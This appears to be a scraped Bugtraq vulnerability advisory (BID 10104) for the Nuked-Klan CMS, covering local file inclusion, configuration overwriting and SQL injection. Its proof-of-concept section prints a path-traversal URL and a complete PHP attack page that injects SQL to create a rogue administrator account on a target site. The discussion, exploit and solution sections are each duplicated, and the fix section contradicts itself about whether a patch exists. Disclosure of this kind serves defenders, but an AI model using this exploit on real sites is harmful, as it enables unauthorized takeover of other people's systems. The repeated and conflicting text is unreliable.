Nuked-Klan Multiple Vulnerabilities
BID:10104
Info
Nuked-Klan Multiple Vulnerabilities
| Bugtraq ID: | 10104 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 12 2004 12:00AM |
| Updated: | Apr 12 2004 12:00AM |
| Credit: | Discovery is credited to frog-m@n <[email protected]>. |
| Vulnerable: |
Nuked-Klan Nuked-Klan 1.5 SP2 Nuked-Klan Nuked-Klan 1.5 Nuked-Klan Nuked-Klan 1.4 Nuked-Klan Nuked-Klan 1.3 beta Nuked-Klan Nuked-Klan 1.3 Nuked-Klan Nuked-Klan 1.2 beta Nuked-Klan Nuked-Klan 1.2 |
| Not Vulnerable: | |
Discussion
Nuked-Klan Multiple Vulnerabilities
Nuked-Klan is prone to multiple vulnerabilities. These issues include information disclosure via inclusion of local files, an issue that may permit remote attackers to corrupt configuration files and an SQL injection vulnerability.
Nuked-Klan is prone to multiple vulnerabilities. These issues include information disclosure via inclusion of local files, an issue that may permit remote attackers to corrupt configuration files and an SQL injection vulnerability.
Exploit / POC
Nuked-Klan Multiple Vulnerabilities
The following proof-of-concept examples were provided:
- To include a local file:
http://www.example.com/index.php?user_langue=../../../../../file/to/view
- Create admin (overwriting GLOBALS) :
-------------------------------------------------------
<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}
if (isset($_POST["submit"])){
echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";
}else{
?>
<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
-------------------------------------------------------
The following proof-of-concept examples were provided:
- To include a local file:
http://www.example.com/index.php?user_langue=../../../../../file/to/view
- Create admin (overwriting GLOBALS) :
-------------------------------------------------------
<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}
if (isset($_POST["submit"])){
echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";
}else{
?>
<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
-------------------------------------------------------
Solution / Fix
Nuked-Klan Multiple Vulnerabilities
Solution:
The vendor has reportedly released a fix for these issues, though this has not been confirmed by Symantec. Affected users should contact the vendor for more information.
---
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
The vendor has reportedly released a fix for these issues, though this has not been confirmed by Symantec. Affected users should contact the vendor for more information.
---
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.